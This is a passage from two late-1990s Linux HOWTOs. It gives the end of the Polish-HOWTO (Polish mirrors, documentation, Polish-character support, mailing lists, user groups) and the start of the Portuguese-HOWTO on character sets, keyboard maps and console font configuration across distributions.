  • Jak zainstalowac Linuxa? Odpowiednik Install-HOWTO, obejmujacy RedHat, Debian, Slackware, PLD.
  • Jak zadbac o bezpieczenstwo systemu?

1.3 Jak czytac aktualna wersje Polish-HOWTO?

Wersja HTML (do przegladania na www) tego tekstu znajduje sie pod: http://serek.arch.pwr.wroc.pl/linux/Polish-HOWTO/. Tutaj zawsze jest najnowsza postac podrecznika, jest to wersja eksportowa :-), pisana do SunSite w USA na potrzeby Linux Documentation Project.

Poza tym, wersja ascii dokumentu jest umieszczana czasmi na newsach, w grupach news:pl.answers, news:pl.comp.os.linux.


Polish HOWTO: Zrodla Linuxa w Polsce.

 Next Previous Contents

2. Zrodla Linuxa w Polsce.

2.1 Pliki binarne i zrodlowe Linuxa.

Dystubucje Linuxa czyli cos, co latwo zainstalowac nawet laikowi.

Podstawowe dytrybucje Linuxa mozna znalezc w wiekszosci polskich sieci metropolitalnych, prosze wybierac zawsze miejsce najblizsze:

  • Wroclaw: Politechnika Wroclawska
    • RedHat: ftp://ftp.pwr.wroc.pl/pub/linux/redhat/
    • SlackWare: ftp://ftp.pwr.wroc.pl/pub/linux/INSTALL/
    • PLD: ftp://ftp.arch.pwr.wroc.pl/pub/linux/PLD/
  • Szczecin: Politechnika Szczecinska
    • PLD: ftp://ftp.ps.pl/pub/Linux/PLD/
  • Poznan: Poznan Metropolitan Area Network
    • Slackware: ftp://ftp.man.poznan.pl/pub/linux/Slackware/
    • RedHat: ftp://ftp.man.poznan.pl/pub/linux/redhat/
  • Gdansk: Politechnika Gdanska
    • RedHat: ftp://ftp.pg.gda.pl/pub/OS/Linux/redhat/
    • SlackWare: ftp://ftp.pg.gda.pl/pub/OS/Linux/slackware/
    • Debian: ftp://ftp.pg.gda.pl/pub/OS/Linux/debian/
  • Warszawa: Interdyscyplinarne Centrum Modelowania
    • RedHat: ftp://sunsite.icm.edu.pl/pub/Linux/redhat/
    • SlackWare: ftp://sunsite.icm.edu.pl/pub/Linux/slackware/
    • Debian: ftp://sunsite.icm.edu.pl/pub/Linux/debian/
  • Krakow: Cyfronet
    • RedHat: ftp://ftp.cyf-kr.edu.pl/pub/linux/redhat/

Piszac: podstawowe, mam na mysli:

  • RedHat Linux.
  • Slackware.
  • Debian.
  • PLD - Polish(ed) Linux Distribution.

Nowe wersje jadra systemu Linux.

Najnowsza wersje jadra, aktualizowane co godzine, znajdziecie w: ftp://serek.arch.pwr.wroc.pl/pub/CVSROOT/linux/.

Natomiast jadra oficjalne, spakowane, mirror ftp.cs.helsinki.fi, na: ftp://sunsite.icm.edu.pl/pub/Linux/kernel/.

X-Free

Wersje X-11 dla Linuxa mozna sciagnac z SunSite, ftp://sunsite.icm.edu.pl/pub/Linux/XFree86/

Archiwa programow na Linuxa.

Prosze wybierac zawsze miejsce najblizsze:

  • Wroclaw: Politechnika Wroclawska
    • ftp://ftp.pwr.wroc.pl/pub/linux/
  • Szczecin: Academic Centre of Informatics
    • ftp://ftp.man.szczecin.pl/pub/Linux/
  • Gdansk: Politechnika Gdanska
    • ftp://ftp.pg.gda.pl/pub/OS/Linux/

Pewne miejsce do szukania zbiorow linuxowych.

Jezeli tych zrodel nie jestescie w stanie znalezc u siebie, znajdziecie je na pewno na SunSite Polska (Warszawa, Interdyscyplinarne Centrum Modelowania):

  • ftp://sunsite.icm.edu.pl/pub/Linux/
Jest to najwieksze polskie archiwum anomimowego ftp.

2.2 Dokumentacje po angielsku i polsku.

Dokumentacje Linuxa sa prawie w calosci po angielsku. Dobry zbior dokumentacji zgromadzil Greg Hankins, gregh@sunsite.unc.edu: Linux Documentation Project. Pomoc, ktora czytasz, jest czescia tego projektu. Oficjalne (i aktualne) kopie dokumentacji mozna znalezc w:

  • SunSite Polska, ICM Warszawa, http://sunsite.icm.edu.pl/pub/Linux/Documentation/

Polska dokumentacja stricte do Linuxa w sieci to przede wszystkim

  • Jak To Zrobic, http://www.jtz.org.pl/,
opiekunem projektu jest Bartek Maruszewski, mailto:bart@jtz.org.pl.

Dokumentacja po polsku, dotyczaca nie tylko Linuxa, ale sieci w ogole, jest takze w:

  • http://www.immt.pwr.wroc.pl/export_hp/tool/tool.html.

    Autor: Wojciech Myszka, myszka@immt.pwr.wroc.pl.


Polish HOWTO: Jezyk polski i Linux.

 Next Previous Contents

3. Jezyk polski i Linux.

Uzyskanie polskich liter pod Linuxem jest proste. Kiedys trudno bylo znalezc standard, ktory odpowiadalby wszystkim, teraz pewne jest, ze przyjal sie oficjalny standard ISO, ISO-8859-2. Dokladniejszych informacji o problemach z polskimi literami mozna szukac na Polskiej Stronie Ogonkowej: http://www.agh.edu.pl/ogonki/.

3.1 Programy pocztowe, ktorym polskie litery nie przeszkadzaja.

Calkowicie spolszczonym programem pocztowym, ktorego uzywam, jest Mutt. Oprocz tego, ze dobrze wyswietla polskie litery, ma mozliwosc podania strony kodowej, w naszej sytuacji jest to iso-8859-2. Jesli list napisany w moim Mutcie`ie dojdzie do uzytkownika uzywajacego innej strony kodowej, wyswietli mu sie informacja, ze moze nie zobaczyc poprawnie czesci liter. Jesli natomiast posluguje sie nasza strona kodowa, list bedzie wyswietlany bez uwag i z polskimi literami.

3.2 Programy do czytania newsow, ktorym polskie litery nie przeszkadzaja.

Do czytania i pisania news po polsku nadaje sie tin-beta-unoff, do sciagniecia z:

  • ftp://ftp.akk.uni-karlsruhe.de/pub/tin/
  • ftp://ftp.onet.pl/pub/unix/tin/

3.3 Komunikaty programow po polsku.

Od ponad dwoch lat dziala grupa tlumaczaca komunikaty programow GNU. Wiecej informacji o tym projekcie znajdziesz pod adresem http://www.ceti.com.pl/~kravietz/gnu/gnu_tp.html. Archiwum przetlumaczonego oprogramowania:

  • ftp://ftp.arch.pwr.wroc.pl/pub/nls/
Opiekunem grupy tlumaczy jest Rafal Maszkowski, mailto:rzm@icm.edu.pl. Zapraszamy do tlumaczenia, na potrzeby tlumaczy dziala serwer CVS.

Aby uzywac programow z polskimi komunikatami nalezy nadac srodowisku powloki zmienna LANG=pl_PL. Jesli dystrybucja z pudelka nie ma przygotowanej wersji miedzynarodowej, trzeba samemu skompilowac wersje miedzynarodowa pakietu, umieszczajac w podkatalogu 'po' plik pl.po dla danego pakietu (chyba ze juz tam jest, ale w pakiecie moze byc starsza wersja). Pakiet mozna zainstalowac dla wybranych jezykow - p. instrukcje instalacji pakietow miedzynarodowych GNU. Jezeli w danym pakiecie nie bylo jeszcze pl.po moze byc potrzebne dopisanie w zmiennej LINGUAS w skrypcie configure 'pl', pamietajac potem o odpowiednim ustawieniu zmiennych.

Chetni do wziecia udzialu w pracy nad tlumaczeniami musza wypelnic zobowiazanie przekazujace prawa autorskie do tlumaczen na Free Software Foundation. Oryginalne archiwum 'GNU translation project':

  • ftp://alpha.gnu.ai.mit.edu/gnu/po/
Adres grupy tlumaczacej: pl@li.org (via majordomo).


Polish HOWTO: Gdzie zapytac, gdy czegos nie wiemy.

 Next Previous Contents

4. Gdzie zapytac, gdy czegos nie wiemy.

4.1 Grupa pocztowa i UseNet news.

Wlasciwie lista pocztowa i UseNet`owa to jedno i to samo, gdyz listy wyslane na liste pocztowa, trafiaja na newsy i odwrotnie.

Aby zajrzec na UseNet news, nalezy dostac sie do grupy: news:pl.comp.os.linux

Aby zapisac sie na liste pocztowa, prosze wyslac list bez subjectu o tresci:

 sub linux Imie Nazwisko
na adres listserv@sprocket.ict.pwr.wroc.pl. Lista utrzymywana jest na komputerze linuxowym znajdujacym sie w Instytucie Cybernetyki Technicznej Politechniki Wroclawskiej. Archiwum listy od kwietnia 1995 roku mozna obejrzec na http://www.ict.pwr.wroc.pl/listserv/linux/


Polish HOWTO: Zycie Linuxa w Polsce

 Next Previous Contents

5. Zycie Linuxa w Polsce

5.1 PLUG - Polish Linux Users Group.

Polska Grupa Uzytkownikow Linuxa, wiecej informacji mozna znalezc na: http://www.linux.org.pl/,

  • oddzial krakowski: http://www.krakow.linux.org.pl/,
  • odzial wroclawski: http://www.wroclaw.linux.org.pl/,
  • oddzial slaski: http://www.silesia.linux.org.pl/,
  • oddzial torunski: http://eris.phys.uni.torun.pl/Linux/,
  • oddzial poznanski: http://www.poznan.linux.org.pl/.

Polish(ed) Linux Distribution - polska grupa majaca na celu przygotowanie bezpiecznej dystrybucji Linuxa, wyposazonej w nowinki, czyli IPv6 oraz kerberosa, glibc-2.1, ssh, nowe jadra Linuxa; wiecej informacji na http://www.pld.org.pl/.

5.2 Licznik polskich uzytkownikow Linuxa.

Uruchomiono licznik uzytkownikow Linuxa w Polsce.

Tak wiec, kazdy, kto uzywa na swoim PC (Digitalu, IBMie, SUNie, Amidze, Macintoshu etc.) systemu operacyjnego Linux, jest proszony o wyslanie listu na adres:

licznik@arch.pwr.wroc.pl

Wystarczy wiec napisac w swoim systemie nastepujaca komende:

mail licznik@arch.pwr.wroc.pl < /dev/null
Jezeli komus chcialoby sie wiecej napisac, nie ma sprawy, wszystkie zgloszenia beda starannie analizowane. Powstanie z tego mapa Linuxow w Polsce, mozna wiec w listach do "licznika" przesylac URLe serwerow www posadzonych na zglaszanych przez siebie Linuxach. Listy przyslane na powyzszy adres sa archiwizowane i jak tylko nabierze to sensu, udostepniane pod adresem: http://licznik.arch.pwr.wroc.pl/.

Dziekuje z gory za listy inicjator polish-howto - Sergiusz Pawlowicz, ser@arch.pwr.wroc.pl


Linux Portuguese-HOWTO

Configurações do Linux para a Língua Portuguesa

Carlos A. M. dos Santos < casantos@cpmet.ufpel.tche.br>

CPMet/UFPEL -- Pelotas, RS, Brasil

v3.2, 24 May 1999

Este documento pretende ser um guia de referência de configuração do Linux e seus programas, teclados e fontes de caracteres, permitindo sua utilização mais confortável por pessoas que falem a Língua Portuguesa.

1. Introdução

  • 1.1 Finalidades deste HOWTO
  • 1.2 Onde encontrar a versão mais atual
  • 1.3 Página oficial na WWW
  • 1.4 Como enviar colaborações

2. Informações gerais

  • 2.1 Conjuntos de caracteres
  • 2.2 Modo texto versus Sistema de Janelas X

3. Configuração do console (modo texto)

  • 3.1 Mapas de teclado
  • 3.2 Mapas de tradução de tela
  • 3.3 Comandos do pacote KBD
  • 3.4 Carregamento de uma fonte de caracteres
  • 3.5 Carregando um mapa de teclado
  • 3.6 Verificando erros

4. Biblioteca de funções libc e aplicativos GNU

  • 4.1 Configurando o suporte internacional
  • 4.2 Problemas com a libc 5

5. Configuração do X

  • 5.1 Configuração do xinit
  • 5.2 Configuração do XDM
  • 5.3 Compose
  • 5.4 Locale
  • 5.5 Geração de mapas com o XKeyCaps
  • 5.6 Contornando os limites do X

6. Configuração dos vários programas

  • 6.1 Aplicativos
  • 6.2 Rede local e Internet

7. Ficheiros necessários

8. Informações Adicionais

  • 8.1 Fontes de informação sobre Linux em Português
  • 8.2 Free Translation Project
  • 8.3 LIE-BR
  • 8.4 Versões de software testadas

9. Observações finais

  • 9.1 Futuras adições a este documento
  • 9.2 Nota de Direitos de Autor
  • 9.3 Garantia (inexistência de) e nota de responsabilidade
  • 9.4 Agradecimentos

10. Bibliografia comentada


Linux Portuguese-HOWTO: Introdução

 Next Previous Contents

1. Introdução

À semelhança de outras línguas faladas na Europa, a Língua Portuguesa tem características especiais, como a utilização de caracteres acentuados, que tornam o seu suporte difícil, pouco intuitivo ou até mesmo impossível, por parte do software utilizado nos nossos computadores.

Nossa língua assume particularidades em cada um dos países em que é falada e mesmo dentro de um único país como o Brasil, de dimensões continentais e com influências culturais de muitos outros povos. Este documento foi originalmente escrito por um português, mas agora é mantido por um brasileiro. Há uma mistura de sotaques que deve se manter por um bom tempo, pois não há razão para alterar o texto original senão para fazer de adições e correções, até por respeito ao primeiro autor. Termos ``estrangeiros'' desnecessários foram substituídos por correspondentes da Língua Portuguesa, preservando-se apenas os que já fazem parte do jargão da informática.

1.1 Finalidades deste HOWTO

Este HOWTO é um guia de referência de configuração do sistema operativo Linux e seus programas, teclados e fontes de caracteres, permitindo sua utilização mais confortável por pessoas que falem a Língua Portuguesa. Como os programas mais antigos não foram desenhados com suporte a caracteres acentuados ou internacionalização, às vezes é preciso usar algum artifício que permita contornar o problema, mas o resultado nem sempre é totalmente satisfatório e em alguns casos chega ser frustrante. As dificuldades encontradas centram-se essencialmente em torno de quatro pontos:

  • a introdução de caracteres acentuados através do teclado, como seja a escrita de jo~ao em vez da sua forma correcta: joão;
  • a exibição dos mesmos na tela do computador. O suporte resume-se normalmente à correcta localização das teclas, nada mais;
  • o correto tratamento de convenções nacionais de formato de datas, horas e valores monetários;
  • a exibição de mensagens, títulos e demais informações dos programas em outra língua que não o Inglês, que é a língua original da maioria desses programas.

Versões anteriores do Portuguese HOWTO concentravam-se em contornar as duas primeiras dificuldades mencionadas, de forma a fazer que, dentro do possível, tanto o sistema operativo como os programas nele utilizados aceitassem os caracteres acentuados e usassem os teclados com suporte para o Português. Embora esse objetivo ainda seja perseguido, os problemas de teclado e caracteres já têm soluções satisfatórias, pelo menos para as aplicações mais usadas. As próximas versões deverão se dedicar mais aos dois últimos problemas.

O texto contém uma já não tão breve discussão sobre o tratamento do teclado e das fontes de caracteres do console pelo Linux, bem como do suporte a várias línguas nacionais. O Sistema de Janelas X também é discutido, fazendo-se uma comparação entre ele e o modo de texto. Por fim, são fornecidas instruções para a configuração do sistema operativo e de diversos aplicativos importantes.

O documento tem se tornado menos slackwariano, incluindo cada vez mais informações relativas a outras distribuições. Slackware e Caldera ainda se baseiam na versão 5 da biblioteca de funções do sistema para Linux (libc), enquanto Debian, Red Hat, TurboLinux, S.u.S.E e Stampede já suportam a versão 6 (que na verdade é a glibc versão 2). Esta nova versão da biblioteca está um passo adiante no suporte a internacionalização e localização. A partir da versão 3.2 do Portuguese-HOWTO as particularidades de cada distribuição serão destacadas quando houver necessidade. A tentativa de tornar Debian uma distribuição ``de referência'' a partir da versão 3.0 do HOWTO fracassou miseravelmente porque o número de diferenças entre as distribuições é muito grande.

A intenção original de não tentar concentrar toda a informação em um único texto, tratando apenas de alguns temas essenciais e fornecendo referências para outras fontes, também fracassou. O HOWTO em sua versão 3.1 já alcançava 38 páginas impressas em formato A4, o que está longe de poder ser chamado de sucinto. As principais razões para tal gigantismo são a necessidade de discutir diferenças entre as distribuições e a necessidade de fornecer informações mais detalhadas sobre aplicativos.

Excetuando-se aspectos muito específicos do Linux, como a configuração do modo texto e do kernel, a maioria das informações contidas neste documento pode ser aplicada a outros sistemas Unix. Exemplos são as configurações do Sistema de Janelas X e de vários aplicativos, que foram aplicadas em Solaris 2.{5,6,7} e Digital UNIX 3.2. Os mapas de teclado para terminais X e estações de trabalho Sun foram criados e são usados em máquinas que rodam Solaris. O documento poderá um dia se tornar o ``Unix Portuguese HOWTO'', embora no momento não se tenha intenção ou meios de fazê-lo.

1.2 Onde encontrar a versão mais atual

Os Linux HOWTO fazem parte do Projeto de Documentação Linux (Linux Documentation Project -- LDP). Os documentos do LDP são mantidos em servidores da Universidade da Carolina do Norte (UNC) e do Instituto de Tecnologia de Massachusetts (MIT), nos Estados Unidos da América, e podem ser obtidos via FTP anônimo nos seguintes endereços:

  • ftp://metalab.unc.edu/pub/Linux/docs/HOWTO (conhecida anteriormente como sunsite.unc.edu).
  • ftp://tsx-11.mit.edu/pub/linux/docs/HOWTO

Pode-se também folhear os documentos HOWTO em formato HTML no endereço

  • http://metalab.unc.edu/LDP/HOWTO

Muitas localidades mantêm cópias desses documentos. Deve-se dar preferência ao acesso à cópia mais próxima, para economizar o precioso tráfego internacional na Internet e também evitar a sobrecarga da máquina metalab.unc.edu. Uma lista completa dessas localidades pode ser obtida em

  • http://metalab.unc.edu/LDP/mirrors.html

Eis uma lista dos endereços recomendados:

Brasil

  • http://linusp.usp.br/LDP/
  • http://www.conectiva.com.br/LDP/
  • http://www.opensite.com.br/linux/
  • http://taubate.valley-bbs.com.br/LDP/
  • http://linux.unicamp.br/docs/

Portugal

  • http://gil.di.uminho.pt/mirrors/LDP/
  • http://deneb.cec.pt/LDP/
  • http://ftp.dei.uc.pt/LDP/
  • http://www.sc.uevora.pt/LDP/
  • http://lwp.ualg.pt/docs/LDP/
  • http://linux.global-one.pt/LDP/
  • http://linux.ispgaya.pt/LDP/
  • http://ae.fe.up.pt/LDP/

Os Linux HOWTO estão disponíveis em diversos formatos: texto simples, PostScript, DVI, HTML, RTF e Lyx. O formato original é SGML e os demais são gerados usando o SGMLtools (maiores informações em http://www.sgmltools.org/).

1.3 Página oficial na WWW

A página oficial do Linux Portuguese-HOWTO, assim como os diversos arquivos de configuração do sistema e programas aplicativos mencionados no texto, podem ser encontrados nos seguintes endereços:

  • Brasil: http://linusp.usp.br/~casantos/
  • Portugal: http://linux.fe.up.pt/howto/

1.4 Como enviar colaborações

Toda a formatação deste HOWTO, incluindo a numeração das seções é feita pelo SGMLtools. Por isso, ao enviar sugestões ou correções, mencione os títulos das seções onde as alterações sugeridas devem ocorrer e não os números. Nunca refira-se a um parágrafo como sendo ``o terceiro da seção 3.1''; cite as palavras inicias do trecho a ser modificado.

Envie sugestões e correções via correio eletrônico em texto simples, opcionalmente com acentuação no código ISO-8859-1. Se o texto não for composto em um sistema *NIX, certifique-se de usar a codificação correta. Todas as mensagens recebidas serão lidas, mas nem todas receberão resposta direta, devido à falta de tempo para tanto.

Não envie documentos no formato proprietário de processadores de texto nem em formato HTML (o que infelizmente parece ser o comportamento normal do Netscape Communicator e do Microsoft Outlook).

Mensagens perguntando como configurar seu modem, placa de vídeo ou rede não serão respondidas. Para esse tipo de consulta é aconselhável procurar uma lista de discussão sobre Linux em Português ou acompanhar os grupos de discussão de Linux na USENET comp.os.linux.*.

``Flames'' terão o destino costumeiro: /dev/null.


Linux Portuguese-HOWTO: Informações gerais

 Next Previous Contents

2. Informações gerais

2.1 Conjuntos de caracteres

Um conjunto de caracteres é definido de acordo com os símbolos constantes no alfabeto utilizado para escrita em uma ou mais línguas. A Organização Internacional de Normas (International Standards Organization - ISO) padronizou através da norma ISO-8859 vários desses conjuntos, identificados por ISO-8859-x onde o x corresponde a um determinado alfabeto. O conjunto ISO-8859 utiliza 8 bits para representar cada caracter, o que permite uma gama de 256 sinais (valores de zero a 255). Em cada um dos conjuntos, os códigos zero a 127 correspondem ao conjunto ASCII (American Standard Code for Information Interchange) e os códigos 160 a 255 são usados para caracteres nacionais.

Para a língua portuguesa, recomenda-se o uso do conjunto ISO-8859-1, que compreende o alfabeto latino e letras acentuadas usadas pelas línguas do oeste da Europa e América. Este conjunto de caracteres também é frequentemente chamado de Latin-1 ou ISO Latin-1.

Um padrão mais recente é o Unicode, definido pela norma ISO-10646, que permite definir caracteres cuja representação interna no computador utiliza mais de um byte (ou octeto na nomenclatura ISO). Todas as versões mais recentes de sistemas Unix suportam Unicode (ou pelo menos seus fabricantes alegam suportar).

Além dos caracteres alfanuméricos e sinais de acentuação, é possível também gerar sinais semigráficos para desenho de linhas e bordas. Esses sinais podem aproveitar códigos não utilizados pelo conjunto oficial, tornando-os não portáveis.

O Linux foi desenhado internamente de modo a facilitar a sua fácil configuração e extensão em tempo de execução, não constituindo o tratamento do teclado e fontes de caracteres excepção. Ele possui uma implementação ``nível 1'' do padrão Unicode. Maiores detalhes podem ser encontrados nos manuais do Linux, que podem ser lido com os comandos

    man unicode
    man utf-8
    man iso_8859_1
    man ascii
mas antes disso certifique-se de que o man está configurado corretamente, conforme mostrado na seção Man, groff, troff.

2.2 Modo texto versus Sistema de Janelas X

Alguns sistemas operativos, tais como MacOS, Microsoft Windows e NeXT, possuem interfaces gráficas próprias. No Linux, assim como na maioria dos sistemas compatíveis com Unix, é de uso corrente um ambiente gráfico criado para ser ``multiplataforma'': o X Window System, que também foi projetado para suportar diversos conjuntos de caracteres, idiomas e formatos de teclado, mas ainda não suporta totalmente o padrão Unicode e sim uma extensão do ISO-8859.

A rigor o X Window System não é uma interface gráfica com o usuário, mas a combinação de um protocolo de comunicação com uma interface com programas aplicativos (API) sobre a qual se construíram várias interfaces gráficas. Tanto o protocolo quanto o Sistema de Janelas definem um conjunto de mecanismos e não políticas (elementos característicos da política de uma Interface Gráfica com o Usuário são menus, botões e caixas de diálogo). O uso do termo ``XWindows'' é incorreto e deve ser evitado, dando-se preferência ao nome genérico ``X''.

Existem muitas semelhanças entre os dois ambientes. Ambos se baseiam em padrões internacionais para definição de conjuntos de caracteres. Tanto no X quanto no console do Linux pode-se definir uma tecla chamada Compose cujo pressionamento seguido de duas outras gerará o caracter correspondente. Assim sendo, o pressionamento da seqüência compose-,-c gerará um c cedilhado.

O tratamento do console é feito diretamente pelo sistema operativo e aplicações comuns não se envolvem com o processamento dos códigos de varredura do teclado, recebendo um caracter ou uma seqüência deles ao ser pressionada cada tecla, de tal sorte que tendo sido corretamente configurados o teclado e a fonte de caracteres pouco mais se tem a fazer.

O X possui uma arquitetura muito diferente: tanto o teclado quanto a(s) tela(s) -- pode haver mais de uma tela -- são controlados por uma aplicação especial chamada servidor X. O pressionamento de uma tecla gera uma mensagem (chamada de evento) que é passada pelo servidor X à aplicação cliente. Há um programa muito útil chamado xev que permite observar cada evento a ele transmitido. Cliente e servidor se comunicam via rede usando um conjunto de regras chamado protocolo X e podem rodar em máquinas diferentes. A máquina onde roda o servidor é chamada estação de trabalho ou terminal X e a máquina onde roda a aplicação (programa cliente) também é chamada de cliente.

Foge ao escopo deste texto a discussão mais profunda do tratamento de eventos no X. Para maiores informações, sugere-se a consulta aos documentos mencionados na seção Leituras recomendadas, mas é importante esclarecer que o evento enviado pelo servidor ao cliente não contém o código numérico da tecla, chamado keycode na terminologia do X. Ao invés disso, é enviado um símbolo, chamado keysymbol ou keysym, obtido pela consulta a uma tabela de conversão mantida na memória do servidor. Esta tabela pode ser modificada total ou parcialmente a qualquer momento por meio de requisições definidas no protocolo X.

Existe um programa chamado xmodmap capaz de ler um arquivo contendo uma tabela de conversão keycode-->keysym e enviá-la, também na forma de mensagens no protocolo X, ao servidor. É responsabilidade do cliente e não do servidor interpretar o keysym, o que significa que a aplicação deve saber esperar mais um caracter ao receber uma ``tecla morta'' para compor uma letra acentuada.

Desde a revisão 5 do X existe na bibliotaca de funções (Xlib) um mecanismo sofisticado de suporte à geração de caracteres em diversos códigos. A função de tratamento de entrada de texto que já existia nas versões anteriores, chamada XLookupString, entretanto, não processa as seqüências de acentos e letras de modo transparente às aplicações. Ao invés disso foi incluído um método de composição usando contextos de entrada (input contexts) por meio das funções XmbLookupString e XwcLookupString, cujo uso é responsabilidade da aplicação -- ou do seu programador, melhor dizendo -- mesmo no caso da tecla Compose. Isto deve-se so fato de o X Consortium ter chegado à conclusão de que o sistema de mapeamento de teclas não tratava de forma satisfatória toda a imensa variedade de línguas escritas nas várias partes do mundo. Deste modo, decidiu-se que o ``peso'' relativo à gestão do teclado fosse transferido para as aplicações X, o que cria uma dificuldade quando usamos aquelas mais antigas, que não usam o novo método de tratar a entrada.

Por essas razões é normalmente mais difícil conseguir acrescentar suporte à geração de caracteres acentuados em aplicativos que rodam sob o X, principalmente quando não se possui o código fonte. Aplicativos feitos para rodar apenas em modo texto, tais como vi e minicom dependerão totalmente dos recursos do emulador de terminal em uso quando rodando em uma janela do X. Se for usada uma versão atual do xterm ou rxvt o emulador fará o tratamento correto dos acentos.

O francês Thomas Quinot, cansado de esperar uma solução melhor para o problema da acentuação no X, resolveu implementar uma modificação para a Xlib proposta por André D. Balsa, que adiciona suporte à acentuação direta conforme mostrado na seção Contornando os limites do X. Isso permite usar aplicações como xfig ou xedit sem que seja necessário alterá-las. O truque parece funcionar apenas para caracteres do código ISO-8859-1 mas é suficiente para o Português e outras línguas. Como bem observa Balsa, a longo prazo todos os programas deverão ser modificados para usar os novos recursos do X, mas como a longo prazo estaremos todos mortos a solução de curto prazo de Quinot torna-se bastante atraente...


Linux Portuguese-HOWTO: Configuração do console (modo texto)

 Next Previous Contents

3. Configuração do console (modo texto)

O documento de referência sobre a configuração do console do Linux é o Keyboard and Console HOWTO, de Andries Brouwer, que pode ser encontrado nos repositórios do LDP. Conforme lá descrito, a configuração da fonte de caracteres e mapa de teclado é feita usando o pacote KBD, encontrado em todas as distribuições de Linux.

3.1 Mapas de teclado

Cada tecla do PC possui um código numérico. Ao pressionarmos uma delas o processador controlador do teclado envia ao computador esse código de varredura, também conhecido como scancode, junto com um sinal de que a tecla foi pressionada ou solta. As seqüências de eventos são então processadas pelo driver de teclado e armazenadas em uma fila de caracteres que é lida pelas aplicações por meio da chamada de funções do sistema operativo.

Um mapa de teclado é um arquivo de texto que estabelace as correspondências entre o scancode de tecla e o caracter (ou seqüência de caracteres) a gerar quando ela for pressionada, chamado keycode. Por exemplo:

    # atribuição da tecla '-' do teclado numérico à tecla com código 74
    keycode  74 = KP_Subtract

    # atribuição da tecla '4' do teclado numérico à tecla com código 75
    keycode  75 = KP_4

    # etc...

    keycode  76 = KP_5            # tecla 5
    keycode  77 = KP_6            # tecla 6
    keycode  78 = KP_Add          # soma
    keycode  79 = KP_1            # tecla 1
    keycode  80 = KP_2            # tecla 2

Além das teclas alfabéticas, numéricas e de símbolos, existem outras chamadas modificadoras que permitem gerar códigos que não correspondem a nenhum sinal gráfico: Shift Control Alt e Meta. Esta última normalmente não é encontrada em teclados de PCs, apenas em estações de trabalho de fabricantes como Sun, SGI, HP e Digital (eles não gostam de ser chamados de ``DEC''). O editor de texto Emacs usa muito a tecla Meta.

O arquivo de mapa permite também especificar teclas especiais chamadas ``teclas mortas'' (deadkeys). Quando pressionadas elas não resultam no aparecimento de um caracter na tela, limitando-se a alterar o comportamento da tecla pressionada a seguir para que, por exemplo, ao se digitar um ~ seguida de um a, seja gerado um `ã'.

3.2 Mapas de tradução de tela

Um mapa de tradução de tela permite especificar qual o caracter X a ser exibido na tela, quando um programa deseja exibir um caracter Y. Desta forma, poderíamos fazer com que ao escrever o caracter com o código do c-cedilhado na tela, fosse na realidade exibido um outro caracter de código diferente mas cuja imagem na nossa fonte de caracteres correspondesse à imagem de um c-cedilhado.

Este mapeamento é necessário apenas quando queremos usar uma fonte cujos caracteres não possuem códigos diretamente correspondentes aos do conjunto usado no mapa de teclado.

3.3 Comandos do pacote KBD

Loadkeys

Permite carregar um mapa de teclado. Por exemplo, o comando a seguir carrega o mapa armazenado no arquivo portugal.map.

    loadkeys /usr/lib/kbd/keytables/portugal.map
Setfont

Permite o carregamento de uma fonte de caracteres de tela, possibilitando a alteração das fontes utilizadas em modo de texto. O comando a seguir, por exemplo, irá carregar uma fonte com o conjunto Latin-1:

    setfont lat1u-16.psf
Showfont

mostra todos os caracteres existentes na fonte que está atualmente em uso no console. O X também tem um comanto chamado showfont, que serve para mostrar as características de uma determinada fonte, mas não os caracteres em si. Para esta última finalidade se usa o comando xfd. Se o programa showfont do pacote KBD for invocado em um emulador de terminal X, como xterm, ele gerará um erro ``GIO_SCRNMAP: Invalid argument'', mas não provocará nenhum dano.

Mapscr

Permite carregar um mapa de tradução de tela. Suponhamos que exista o arquivo /etc/portugal.trad. Se executarmos o comando

    mapscrn /etc/portugal.trad
então a partir deste momento as traduções lá definidas serão usadas.
Loadunimap

Carrega um mapa de tradução de Unicode para a fonte de tela. O mapa padrão, chamado ``def.uni'' considera que estamos usando a fonte normal do IBM-PC. Este comando não é necessário quando usamos uma fonte com caracteres definidos no padrão Unicode, pois o programa setfont carrega automaticamente a tabela de mapeamento adequada. O comando a seguir carregará o mapa de tradução para as fontes latin-1:

    loadunimap lat1

3.4 Carregamento de uma fonte de caracteres

O pacote KBD contém dois tipos de fontes com codificação latin-1:

  • as que já possuem uma tabela de mapeamento unicode, carregada automaticamente pelo programa setfont. Estas fontes têm nomes lat1u-*.psf;
  • as que não possuem tabela de mapeamento. Neste caso é preciso carregar uma com o programa loadunimap. Estas têm nomes lat1-*.psf (o ``u'' indica Unicode).

Nas versões mais novas do KBD os arquivos são comprimidos com gzip. É preciso carregar uma fonte que tenha os caractres latinos acentuados no padrão ISO 8859-1 e também os símbolos semigráficos. As fontes de nome iso01.* não possuem esses símbolos. A fonte mais recomendada é a lat1u-16.psf.

As versões mais antigas do pacote KBD mantinham essas fontes no diretório /usr/lib/kbd/consolefonts, que foi trocado depois da versão 0.92 por /usr/share/consolefonts. Dependendo da sua distribuição e do quanto ela esteja atualizada o diretório poderá ser um ou outro.

Slackware

Foi criado o script /etc/rc.d/rc.font, contendo o seguinte:

    #!/bin/sh
    #
    # /etc/rc.d/rc.font
    #
    # Seleciona uma das fontes de caracteres disponiveis em
    # /usr/lib/kbd/consolefonts.
    #
    setfont lat1u-16.psf

    # O comando a seguir é totalmente desnecessário
    # com a fonte lat1u-16.psf.
    # loadunimap lat1u

    # Remova o comentário da linha abaixo se estiver usando uma fonte sem
    # tabela de mapeamento de Unicode para tela:
    # loadunimap lat1

Debian

Edite o arquivo /etc/kbd/config e coloque uma linha contendo

    CONSOLE_FONT=lat1u-16.psf
esse arquivo é processado pelo script /etc/rc.boot/kbd. Execute-o para ativar a nova fonte sem ter que dar ``reboot''. Lembre-se sempre: Linux não é Windows!

Red Hat

Edite o arquivo /etc/sysconfig/i18n e veja se contém o seguinte:

    LANG=pt_BR
    LINGUAS=pt_BR
    LC_CTYPE=ISO-8859-1
    LC_ALL=pt_BR
    SYSFONT=lat1u-16
    SYSTERM=linux-lat

Conectiva Red Hat Linux

Se você selecionar a língua correta durante a instalação não há nada mais a fazer. A configuração é feita extatamente como do Red Hat.

S.u.S.E.

Edite o arquivo /etc/rc.config e procure uma linha que começa com ``FONT='' (linha 64, em minha máquina com S.u.S.E. verão 5.6) e coloque

    FONT=lat1u-16.psf

Edite os scripts boot.setup e single contidos no diretório /etc/rc.d. Procure a linha contendo o comando /usr/bin/loadunimap e remova-a ou ponha no seu início um ``#'' para deixá-la como comentário. Veja comentários sobre este comando na seção Carregamento de uma fonte de caracteres.

